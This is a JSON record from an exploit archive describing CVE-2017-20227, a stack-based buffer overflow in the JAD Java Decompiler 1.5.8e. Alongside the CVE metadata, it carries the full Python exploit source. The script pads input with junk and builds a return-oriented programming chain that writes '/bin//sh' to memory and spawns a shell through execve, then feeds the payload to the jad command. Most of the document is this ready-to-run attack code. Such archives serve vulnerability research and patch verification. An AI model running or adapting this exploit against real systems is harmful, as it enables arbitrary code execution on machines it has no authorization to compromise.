{"exploit":{"id":"EDB-42255","name":"Varaneckas JAD Java Decompiler 1.5.8e - Local Buffer Overflow (NX Enabled)","description":"Varaneckas JAD Java Decompiler 1.5.8e - Local Buffer Overflow (NX Enabled)","cves":["CVE-2017-20227"],"author":"Juan Sacco","published":"2017-06-26","platform":"linux","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/42255","path":"exploits/linux/local/42255.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-42255.py","vulnerabilities":[{"id":"CVE-2017-20227","state":"PUBLISHED","title":"JAD 1.5.8e-1kali1 Stack-Based Buffer Overflow","titleSource":"CVE Program","description":"JAD Java Decompiler 1.5.8e-1kali1 and prior contains a stack-based buffer overflow vulnerability that allows attackers to execute arbitrary code by supplying overly long input that exceeds buffer boundaries. Attackers can craft malicious input passed to the jad command to overflow the stack and execute a return-oriented programming chain that spawns a shell.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-20227","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2017-20227"},"updatedAt":"2026-04-01T13:59:49.724Z","retrievedAt":"2026-11-27T00:39:13.399Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-42255.png?v=2","url":"https://exploitbin.com/exploits/EDB-42255","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-42255/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-42255/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com\n# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>\n# Tested on: GNU/Linux - Kali 2017.1 Release\n#\n# Description: JAD ( Java Decompiler ) 1.5.8e-1kali1 and prior is prone to a stack-based buffer overflow\n# vulnerability because the application fails to perform adequate boundary-checks on user-supplied input.\n#\n# An attacker could exploit this vulnerability to execute arbitrary code in the\n# context of the application. Failed exploit attempts will result in a\n# denial-of-service condition.\n#\n# Vendor homepage: http://www.varaneckas.com/jad/\n#\n# CANARY    : disabled\n# FORTIFY   : disabled\n# NX        : ENABLED\n# PIE       : disabled\n# RELRO     : disabled\n#\nimport os, subprocess\nfrom struct import pack\n\nropchain = \"A\"*8150 # junk\nropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop\nedi ; pop ebp ; ret\nropchain += pack('<I', 0x0811abe0) # @ .data\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x0807b744) # pop eax ; ret\nropchain += '/bin'\nropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop\nebx ; pop ebp ; ret\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop\nedi ; pop ebp ; ret\nropchain += pack('<I', 0x0811abe4) # @ .data + 4\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x0807b744) # pop eax ; ret\nropchain += '//sh'\nropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop\nebx ; pop ebp ; ret\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop\nedi ; pop ebp ; ret\nropchain += pack('<I', 0x0811abe8) # @ .data + 8\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop\nebx ; pop ebp ; ret\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret\nropchain += pack('<I', 0x0811abe0) # @ .data\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x08067b43) # pop ecx ; ret\nropchain += pack('<I', 0x0811abe8) # @ .data + 8\nropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop\nedi ; pop ebp ; ret\nropchain += pack('<I', 0x0811abe8) # @ .data + 8\nropchain += pack('<I', 0x0811abe0) # padding without overwrite ebx\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x41414141) # padding\nropchain += pack('<I', 0x080e571f) # inc eax ; ret\nropchain += pack('<I', 0x080e571f) # inc eax ; ret\nropchain += pack('<I', 0x080e571f) # inc eax ; ret\nropchain += pack('<I', 0x080e571f) # inc eax ; ret\nropchain += pack('<I', 0x080e571f) # inc eax ; ret\nropchain += pack('<I', 0x080e571f) # inc eax ; ret\nropchain += pack('<I', 0x080e571f) # inc eax ; ret\nropchain += pack('<I', 0x080e571f) # inc eax ; ret\nropchain += pack('<I', 0x080e571f) # inc eax ; ret\nropchain += pack('<I', 0x080e571f) # inc eax ; ret\nropchain += pack('<I', 0x080e571f) # inc eax ; ret\nropchain += pack('<I', 0x080c861f) # int 0x80\n\ntry:\n   print(\"[*] JAD 1.5.8 Stack-Based Buffer Overflow by Juan Sacco\")\n   print(\"[*] Please wait.. running\")\n   subprocess.call([\"jad\", ropchain])\nexcept OSError as e:\n   if e.errno == os.errno.ENOENT:\n       print \"JAD  not found!\"\n   else:\n    print \"Error executing exploit\"\n   raise","sha256":"5f93685ac64c51dabad0153691e1f30771b1a072f6b3438310080353a63efcff","bytes":4380,"fetchedAt":"2026-11-27T10:10:22.617Z","encoding":"utf-8 (display only; download retains original bytes)"}